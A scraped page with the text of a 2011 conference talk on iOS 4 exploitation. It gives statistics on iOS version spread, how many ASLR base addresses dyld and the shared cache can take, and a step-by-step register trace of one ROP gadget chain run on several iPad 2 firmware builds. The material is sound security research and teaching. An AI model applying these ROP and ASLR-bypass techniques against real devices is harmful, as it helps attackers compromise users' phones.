Abstract image of a woman sitting on books and studying on a laptop

D2 t1 stefan esser - iphone exploitation - one ro-pe to bind them all

R
realiti2000

The document discusses iOS exploitation up to version 4.2.x. Key points include: - Exploitation required a 100% ROP payload due to NX stack and heap enforcement and code signing. - Shared libraries were stored in a dyld_shared_cache loaded at a fixed address, but the load order of library segments was randomized. - Base addresses of libraries in the cache varied between devices, making exploitation more difficult across multiple devices.

TechnologyNews & Politics
1 of 88
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
http://www.sektioneins.de iPhone Exploitation One ROPe to bind them all? Stefan Esser <stefan.esser@sektioneins.de>
Who am I? Stefan Esser • from Cologne / Germany • in information security since 1998 • PHP core developer since 2001 • Month of PHP Bugs and Suhosin • recently focused on iPhone security (ASLR, jailbreak) • founder of SektionEins GmbH • currently also working as independent contractor Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  2
What is this Session About? • this session is about the odds of successful iDevice exploitation • and how to improve them • we assume there is no information leak available • and we are exploiting a stack buffer overflow Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  3
Part I Some Statistics Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  4
iDevices and Versions • there are 12 iDevices supporting iOS 4 • iPod 2G/3G/4G • iPad 1/2(wifi/gsm/cdma) • iPhone 3G/3GS/4(gsm/cdma) • AppleTV (we will ignore it in this talk) • we expect iPhone 4S to only support iOS 5 • there are 16 different versions of iOS 4 • many combinations but luckily not 12 * 16 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  5
iDevices and Versions 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 dark green are firmwares we do not iPod 4 have root filesystem keys for iPhone „only“ 81 combinations 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  6
iOS Version Statistics - Device Type iPhone iPod iPad • stats from a bigger german pc magazine 2,5% 19,1% • audience technical • visitor statistics throughout september • mostly iPhone / iPod visitors 78,4% (nearly no iPads) iPads are maybe not as common in germany Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  7
iOS Version Statistics - iOS Major Version iOS 3 and below iOS 4 iOS 5 beta 2,8% 0,4% • a few iOS 5 beta users • still some iOS 3 users • but majority is at iOS 4 96,8% Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  8
iOS Version Statistics - iOS Minor Version iOS 4.0 iOS 4.1 iOS 4.2 • earlier iOS 4 versions iOS 4.3 are dying out 2,0% 4,3% • still a lot at 4.2 15,6% (due to iPhone 3G) • majority at 4.3 (incl. ASLR) 78% • still 21,9% of iOS 4 users without ASLR Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  9
iOS Version Statistics - iOS Detailed Version iOS 4.0-4.2.1 iOS 4.3 iOS 4.3.1 iOS 4.3.2 iOS 4.3.3 • about half of all iOS 4 users iOS 4.3.4 at latest version iOS 4.3.5 21,9% • 48,4% of users still vulnerable to Jailbreakme 3 exploit 48,7% 1,5% • 21,9% are even without ASLR 2,5% 2,6% • for good coverage iOS exploits 19,9% have to support multiple versions 2,9% and devices ignoring the possibility that some of the users with old versions are jailbreakers with PDF patch installed Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  10
Part II iOS 4+ Exploitation Eras Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  11
Three Ages of iOS 4+ Exploitation • since iOS 4.0 three ages of iOS exploitation can be distinguished • iOS 4.0 - iOS 4.2.x • iOS 4.3(.x) • iOS 5.0 • each era brought new exploit mitigations or new features Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  12
iOS Exploitation up to iOS 4.2.x (I) • NX stack and heap are strictly enforced by the iOS kernel • code signing ensures that only code signed by Apple can be executed • any exploit must be 100% ROP • no ASLR in iOS exception jailbroken iPhones but even there any exploit must start with a ROP payload some protections were not available in iOS 3 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  13
iOS Exploitation up to iOS 4.2.x (II) • since iPhoneOS / iOS 3.x shared libraries disappeared from the devices • Apple moved all libraries into dyld_shared_cache • dyld_shared_cache is always paged in at 0x30000000 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  14
iOS Exploitation up to iOS 4.2.x (III) • segment splitting of libraries inside shared cache • cache is generated when firmware is packed • on generation a random load order is selected Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  15
iOS Exploitation up to iOS 4.2.x (IV) /usr/lib/libSystem.B.dylib iPhone 4 iPod 4 iPad • base address of libraries inode 0x0933DE37 0x0933DE37 0x0933DE37 different for each device and mtime 0x4CC1050A 0x4CC1050A 0x4CC1050A firmware version base 0x33B5C000 0x31092000 0x30D03000 • ROP payload depends on device and firmware version /usr/lib/libobjc.dylib iPhone 4 iPod 4 iPad • but libraries usually the same inode 0x093AF2FC 0x093AF2FC 0x093AF2FC across all devices mtime 0x4CC10998 0x4CC10998 0x4CC10998 base 0x33476000 0x33A03000 0x34A7D000 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  16
iOS Exploitation in iOS 4.3(.x) (I) • Addition of dynamic code-signing to allow JIT compilation in MobileSafari • weakens the NX protection • Charlie Miller has a whole talk about this at SyScan Taipei 2011 • Addition of ASLR • randomizes dyld, dyld_shared_cache and main binary Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  17
Randomization of Main Binary TestiPAD:~ root# ./test Address Tester • with the new SDK applications are Stack: 0x2fea0be0 compiled as position independent Code: 0xa3e55 executables malloc_small: 0x1c8e7e00 malloc_large: 0xc1000 printf: 0x36735dd1 • sets MH_PIE flag in mach-o _dyld_get_image_header(0): 0xa2000 header and adds relocation information TestiPAD:~ root# ./test Address Tester Stack: 0x2fecbbe0 • no TEXT relocations therefore no Code: 0xcee55 problem with code-signing malloc_small: 0x1f861200 malloc_large: 0xec000 • Applications using older SDK printf: 0x36735dd1 _dyld_get_image_header(0): 0xcd000 cannot be randomized ➡ but all popular applications like Twitter, Facebook use older SDK Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  18
Randomization of Dyld • dyld was already a MH_PIE binary in older iOS versions • now randomization is done by the kernel on load • however dyld is only slided the same amount as the main binary • therefore it is not moved if the main binary is not a PIE Num Basename Type Address Reason | | Source | | | | | | | | 1 test - 0x75000 exec Y Y /private/var/root/test at 0x75000 (offset 0x74000) 2 dyld - 0x2fe74000 dyld Y Y /usr/lib/dyld at 0x2fe74000 (offset 0x74000) with ... Num Basename Type Address Reason | | Source | | | | | | | | 1 test - 0xc8000 exec Y Y /private/var/root/test at 0xc8000 (offset 0xc7000) 2 dyld - 0x2fec7000 dyld Y Y /usr/lib/dyld at 0x2fec7000 (offset 0xc7000) with ... Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  19
How Random is the Baseaddress? • randomized on page boundary • only 256 possible base addresses between 0x1000 and 0x100000 500 250 0 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  20
dyld_shared_cache sliding in dyld • dyld has always been responsible for mapping the shared cache • now it loads it at a random base address • and tells the kernel about it (via new syscall) • due to dyld_shared_cache structure only about 4200 different base addresses Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  21
iOS Exploitation in iOS 4.3(.x) - Summary • Addition of ASLR means • new applications at 256 different load addresses for dyld / main • not only 48 different load addresses for the cache • but about 48 * 4200 possible load addresses • the odds to randomly select the right one is about 1 in 200k • For old apps going after dynamic linker or main binary for sure • For new apps going after the dynamic linker seems more promising Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  22
iOS Exploitation in iOS 5 • just released • therefore no full analysis yet • but it seems dyld is now always randomized • going after main binary for backward compatible apps seems best Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  23
Part III Cheating the Odds - Attacking the Dynamic Linker Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  24
Attacking the Dynamic Linker • the odds to hit a ROP gadget in dyld_shared_cache is 1 in 200k • the dynamic linker dyld seems to be the weakest spot in iOS • we did more analysis about the dynamic linker in iOS Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  25
iDevices and Versions 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 Remember this slide ??? iPod 4 „only“ 81 combinations 33 combinations iPhone without ASLR 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  26
Dyld Binaries by iOS Version 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 colors show different dyld binaries iPod 4 13 different dyld binaries iPhone 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  27
Dyld Binaries by iOS Version - without ASLR 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 10 dyld binaries instead of iPod 4 33 different caches iPhone 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  28
Dyld Binaries by iOS Version - with ASLR 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 3 dyld binaries at 256 * 3 possible addresses iPod 4 instead of iPhone 48 different caches 3G at about 48 * 4200 possible addresses iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  29
Cheating the Odds • Gadgets from dyld_shared_cache • 33 + 48 * 4200 = 201633 • Gadgets from dyld • 10 + 3 * 256 = 778 (bleeding edge app) • 10 + 3 = 13 (backwards compatible app) Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  30
Cheating the Odds But can we get better? Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  31
Part IV Multi Environment ROP Payloads Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  32
What does this ROP payload do? 3017E288+1 +0 3020B6BE+1 +4 3017E288+1 +8 • what is the target environment? 3018DFC4+1 +12 301C8CDE+1 +16 • what will it do? 77777777 +20 301ACCAA+1 +24 41414141 +28 • is it a full payload or just a part of it? 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  33
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (CDMA) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 STRB R5, [R6,#0x11] 3017E288+1 +8 __text:3017E28A LDR R1, [R5,#0x74] __text:3017E28C MULS R6, R5 3018DFC4+1 +12 __text:3017E28E LDR R7, [R5,#0x64] __text:3017E290 STR R4, [R6,#0x54] 301C8CDE+1 +16 __text:3017E292 STRB R0, [R7,#0x11] 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  34
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (CDMA) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 STRB R5, [R6,#0x11] 3017E288+1 +8 __text:3017E28A LDR R1, [R5,#0x74] __text:3017E28C MULS R6, R5 3018DFC4+1 +12 __text:3017E28E LDR R7, [R5,#0x64] __text:3017E290 STR R4, [R6,#0x54] 301C8CDE+1 +16 __text:3017E292 STRB R0, [R7,#0x11] 77777777 +20 301ACCAA+1 +24 41414141 +28 most likely a crash because 77777777 +32 R6 is some “uninitialized“ pointer 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  35
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  36
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E28A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  37
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC72+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  38
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC74+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  39
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 0DE9F426 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC76+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  40
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3E01E0A0 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC78+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  41
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 00000018 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC7A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  42
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 00000018 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC7A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 most likely a crash because 77777777 +32 R0 is some “uninitialized“ pointer 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  43
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 POP {R4,R5,PC} 3017E288+1 +8 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  44
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3018DFC4+1 3020B6BE+1 +4 __text:3018DFC4 MOV R3, R4 3017E288+1 +8 __text:3018DFC6 BLX R5 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  45
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3018DFC6+1 3020B6BE+1 +4 __text:3018DFC4 MOV R3, R4 3017E288+1 +8 __text:3018DFC6 BLX R5 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  46
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 POP {R4,R5,PC} 3017E288+1 +8 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  47
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 301ACCAA+1 3020B6BE+1 +4 __text:301ACCAA MOV R2, SP 3017E288+1 +8 __text:301ACCAC BLX R3 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  48
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 301ACCAC+1 3020B6BE+1 +4 __text:301ACCAA MOV R2, SP 3017E288+1 +8 __text:301ACCAC BLX R3 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  49
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 301ACCAE+1 3017E288+1 +0 R7 ??? PC 3020B6BE+1 3020B6BE+1 +4 __text:3020B6BE BLX R4 3017E288+1 +8 __text:3020B6C0 POP {R4,R7,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  50
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 301C8CDE+1 3020B6BE+1 +4 __text:301C8CDE MOV R0, R2 3017E288+1 +8 __text:301C8CE0 BX LR 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  51
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 301C8CE0+1 3020B6BE+1 +4 __text:301C8CDE MOV R0, R2 3017E288+1 +8 __text:301C8CE0 BX LR 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  52
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 3020B6C0+1 3020B6BE+1 +4 __text:3020B6BE BLX R4 3017E288+1 +8 __text:3020B6C0 POP {R4,R7,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  53
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 41414141 R12 ??? R5 77777777 SP +40 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 77777777 PC 3017E286+1 3020B6BE+1 +4 __text:3017E286 STR R0, [R4] 3017E288+1 +8 __text:3017E288 POP {R4,R5,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  54
One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 41414141 R12 ??? R5 77777777 SP +40 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 77777777 PC 3017E286+1 3020B6BE+1 +4 __text:3017E286 STR R0, [R4] 3017E288+1 +8 __text:3017E288 POP {R4,R5,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 now the ROP payload has located itself by writing SP 41414141 +28 into an arbitrary memory cell 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  55
Multiple Environment ROP Payloads • normally a ROP payload is designed for only one environment • trying the address of one ROP gadget in multiple different environments • in each environment the address can resolve to • an illegal gadget (crash, endless loop) • a valid gadget • an identical gadget Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  56
Multiple Environment ROP Payloads • illegal gadgets • leads to a crash = unusable • endless loop = might be even useful • identical gadgets • with enough environments even likey • but only for trivial gadgets Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  57
Multiple Environment ROP Payloads • valid gadgets • valid gadget will do something non harmful • will load the program counter from the stack • and return / jump to it ➡ if program counter is retrieved from different locations we can use this to distinguish between environments GADGET 1 retrieves PC from SP=28 AND r3, r4 POP.W {r8, r10, r11, } POP {r4, r5, r6, r7, pc} GADGET 2 retrieves PC from SP=4 POP {r4, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  58
Part V BabyARM - a basic ARM emulator Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  59
BabyARM • very basic ARM (mostly thumb) code emulator • emulates only few instructions • but good enough to find gadgets by emulation • emulation runs from a initial gadget state to a desired gadget end state • implemented in Python Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  60
BabyARM - Outer Loop Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  61
BabyARM - Inner Loop Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  62
